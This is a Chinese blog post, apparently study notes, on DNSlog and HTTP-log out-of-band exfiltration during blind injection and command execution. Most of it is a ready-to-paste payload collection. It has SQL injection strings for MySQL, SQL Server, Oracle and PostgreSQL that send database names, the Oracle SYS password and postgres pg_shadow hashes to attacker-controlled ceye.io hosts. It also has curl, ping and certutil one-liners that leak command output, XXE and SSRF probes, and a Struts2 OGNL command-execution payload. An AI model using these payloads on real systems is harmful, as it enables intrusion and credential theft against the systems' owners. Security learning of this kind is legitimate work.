1. 程式人生 > 其它 >學習筆記二十四:盲注的快速獲取資料之DNSlog注入

學習筆記二十四:盲注的快速獲取資料之DNSlog注入

用DNS的log功能來突破盲注速度慢的限制。

技術說明:

DNSlog注⼊屬於帶外通訊的⼀種,英⽂:Out of Band,簡稱:OOB。我們之前的注⼊都是在同⼀個通道上⾯ 的,⽐如我們之前的聯合查詢注⼊,都是做HTTP請求,然後得到HTTP返回包,沒有涉及到其他的通道,⽐如 DNS。⽽帶外通訊,⾄少是要涉及到兩個通道的。通道:在計算機中,指通訊的通道,是訊號傳輸的媒介。

利用場景:

我們在進⾏SQL盲注、命令執⾏、SSRF及XSS等攻擊⽽⽆法看到回顯結果時,就會⽤到該技術。

技術原理:

1.攻擊者將惡意的sql注入payload(例如:LOAD FILE(CONCAT('\\\\',user(),'.test.com\\abc)) )經由Web伺服器

2.Web伺服器將惡意的payload傳遞進資料庫

3.在資料庫中user()函式被執行,dns查詢就是變成root.test.com傳入本地設定的DNS伺服器

4.本地設定的DNS伺服器查詢root.test.com傳到DNS伺服器

5.DNS伺服器返回NS伺服器地址ns.test.com到本地設定的DNS伺服器

6.本地設定的DNS伺服器查詢root.test.com到NS伺服器ns.test.com (NS伺服器ns.test.com就是攻擊者可以控制的地方,在ns伺服器上獲得dns日誌,就得到資料庫的使用者的值)

作為攻擊者,提交注⼊語句,讓資料庫把需要查詢的值和域名拼接起來,然後發⽣DNS查詢,我們只要 能獲得DNS的⽇志,就得到了想要的值。所以我們需要有⼀個⾃⼰的域名,然後在域名商處配置⼀條NS記錄,然後 我們在NS伺服器上⾯獲取DNS⽇志即可。 簡單說就是:DNSLog ⽤於監測 DNS 和 HTTP 訪問記錄,可通過HTTP請求,讓⽬標主機主動請求 DNSLog API 地址,有相應的解析記錄,則可判定為存在相應的漏洞。

利用細節

SQL注入

MySQL

  • 支援load_file()函式(高版本預設不支援)
  • 開啟allow_url_fopen(預設開啟)

核心語句:

select load_file(concat('\\\\',hex((select database())),'.8dmer4.ceye.io\\abv'));

dvwa實戰語句1:

1' and if((select load_file(concat('\\\\',hex((select 212)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1

dvwa實戰語句2:

1' and if((select load_file(concat('\\\\',hex((select schema_name from information_schema.schemata limit 0,1)),'.8dmer4.ceye.io\\abv'))),1,0) And '1'='1

UNC路徑

UNC是⼀種命名慣例, 主要⽤於在Microsof t Windows上指定和對映⽹絡驅動器. UNC命名慣例最多被應⽤於在局域⽹中訪 問⽂件伺服器或者印表機。我們⽇常常⽤的⽹絡共享⽂件就是這個⽅式。

其實我們平常在Widnows中⽤共享⽂件的時候就會⽤到這種⽹絡地址的形式 \\sss.xxx\test\ 這也就解釋了為什麼CONCAT()函式拼接了4個\了,因為轉義的原因,4個就變\成了2個\,⽬的就是利⽤UNC路徑。

因為Linux沒有UNC路徑這個東西,所以當MySQL處於Linux系統中的時候,是不能使⽤這種⽅式外帶資料。

SQL Server

核心語句:

DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

實戰語句:

';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.8dmer4.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"')--

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');

SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;

SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $ DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

SQLMap配合DNSlog

命令執行

Linux

curl http://ip.port.b182oj.ceye.io/`whoami` ping -c 1 `whoami`.ip.port.b182oj.ceye.io

Windows

ping %USERNAME%.b182oj.ceye.io

變數 型別 描述

%ALLUSERSPROFILE% 本地 返回“所有⽤戶”配置⽂件的位置。

%APPDATA% 本地 返回預設情況下應⽤程式儲存資料的位置。

%CD% 本地 返回當前⽬錄字串。

%CMDCMDLINE% 本地 返回⽤來啟動當前的 Cmd.exe 的準確命令⾏。

%CMDEXTVERSION% 系統 返回當前的“命令處理程式擴充套件”的版本號。

%COMPUTERNAME% 系統 返回計算機的名稱。

%COMSPEC% 系統 返回命令⾏直譯器可執⾏程式的準確路徑。

%DATE% 系統 返回當前⽇期。使⽤與 date /t 命令相同的格式。由 Cmd.exe ⽣ 成。有關 date 命令的詳細資訊,請參閱 Date。

%ERRORLEVEL% 系統 返回上⼀條命令的錯誤程式碼。通常⽤⾮零值表⽰錯誤。

%HOMEDRIVE% 系統 返回連線到⽤戶主⽬錄的本地⼯作站驅動器號。基於主⽬錄值⽽設定。 ⽤戶主⽬錄是在“本地⽤戶和組”中指定的。

%HOMEPATH% 系統 返回⽤戶主⽬錄的完整路徑。基於主⽬錄值⽽設定。⽤戶主⽬錄是在“本 地⽤戶和組”中指定的。

%HOMESHARE% 系統 返回⽤戶的共享主⽬錄的⽹絡路徑。基於主⽬錄值⽽設定。⽤戶主⽬錄是在"本地使用者和組"中指定的。

%LOGONSERVER% 本地 返回驗證當前登入會話的域控制器的名稱。

%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數⽬。

%OS% 系統 返回作業系統名稱。Windows 2000 顯⽰其作業系統為 Windows_NT。

%PATH% 系統 指定可執⾏⽂件的搜尋路徑。

%PATHEXT% 系統 返回作業系統認為可執⾏的⽂件副檔名的列表。

%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯⽚體系結構。值:x86 或 IA64(基於 Itanium)。

%PROCESSOR_IDENTFIER% 系統 返回處理器說明。

%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。

%PROCESSOR_REVISION% 系統 返回處理器的版本號。

%PROMPT% 本地 返回當前解釋程式的命令提⽰符設定。由 Cmd.exe ⽣成。

%RANDOM% 系統 返回 0 到 32767 之間的任意⼗進位制數字。由 Cmd.exe ⽣成。

%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根⽬錄(即系統根 ⽬錄)的驅動器。

%SYSTEMROOT% 系統 返回 Windows server operating system 根⽬錄的位置。

%TEMP%和%TMP% 系統和⽤戶 返回對當前登入⽤戶可⽤的應⽤程式所使⽤的預設臨時⽬錄。有些應⽤程 序需要 TEMP,⽽其他應⽤程式則需要 TMP。

%TIME% 系統 返回當前時間。使⽤與 time /t 命令相 同的格式。由 Cmd.exe ⽣成。有關 time 命令的 詳細資訊,請參閱 Time。

%USERDOMAIN% 本地 返回包含⽤戶帳戶的域的名稱。

%USERNAME% 本地 返回當前登入的⽤戶的名稱。

%USERPROFILE% 本地 返回當前⽤戶的配置⽂件的位置。

%WINDIR% 系統 返回作業系統⽬錄的位置。

SSRF

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

<root/>

XSS

><img src=http://xss.xxxx.ceye.io/aaa>

其他

XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

<root/>

Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[] {'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader (%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://i p.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openCon nection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0, concat:http://ip.port.b182oj.ceye.io

#EXT-X-ENDLIST

Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp? operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchke y=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick

push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.b182oj.ceye.io)' pop graphic-context

Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test? inputFile=http://ip.port.b182oj.ceye.io/ssrf

DNSlog平臺的搭建

可以用BugScanTeam GitHub - BugScanTeam/DNSLog: DNSLog 是一款監控 DNS 解析記錄和 HTTP 訪問記錄的工具。

擴充套件:HTTP log

除開利用DNS的log,在可以執行系統命令的情況還可以利用HTTP的log,就是通過中介軟體的日誌來獲取結果。

Linux

for /F "delims=\" %i in ('whoami') do curl http://www.dark5.net/%i

如果碰到內容有空格(換⾏符等),就會截斷,只輸出前⾯的,這時候可以利⽤編碼來輸出,但有輸出字元數最⼤ 限制;

curl http://xxx.dnslog.link/$(id|base64)

curl http://xxx.dnslog.link/`id|base64`

Windows

for /F %x in ('whoami') do start https://www.dark5.net/%x #啟動瀏覽器訪問

for /F %x in ('whoami') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #內建命令⾏⼯具訪問

for /F %x in ('dir /b') do certutil.exe -urlcache -split -f https://www.dark5.net/%x #只列出⽂件名

Windows下的base64編碼

暫時未找到能直接像Linux那樣可以通過管道來加密的,但通過多次命令的執⾏達到先base64加密,再做HTTP請求

whoami > result.txt certutil -encode result.txt result_bs64 for /f %x in (result_bs64) do certutil.exe -urlcache -split -f http://dvwa.dark5.net/%x

每⼀個請求都會出現兩個請求⽇志,所以要去重複! 並把結果儲存為result_bs64_local

ZGVza3RvcC1xOTl1dHJzXGhhY2tlcg0K

然後再把這個 result_bs64_local ⾥⾯加密的⽂件內容解密,命令為: certutil -decode result_bs64_local result_local.txt

可參考文章:

滲透測試小技巧之DNSlog | 瓦都剋 (dropsec.xyz)

Dnslog在SQL注入中的實戰 - 安全客,安全資訊平臺 (anquanke.com)

sqlmap利用DNS進行oob(out of band)注入(轉) - 滲透測試中心 - 部落格園 (cnblogs.com)

HawkEye Log/Dns 在Sql注入中的應用 - HackingDocs (hackinglab.cn)

Oracle注入之帶外通訊 - 卿先生 - 部落格園 (cnblogs.com)

帶外通道技術(OOB)總結 - FreeBuf網路安全行業門戶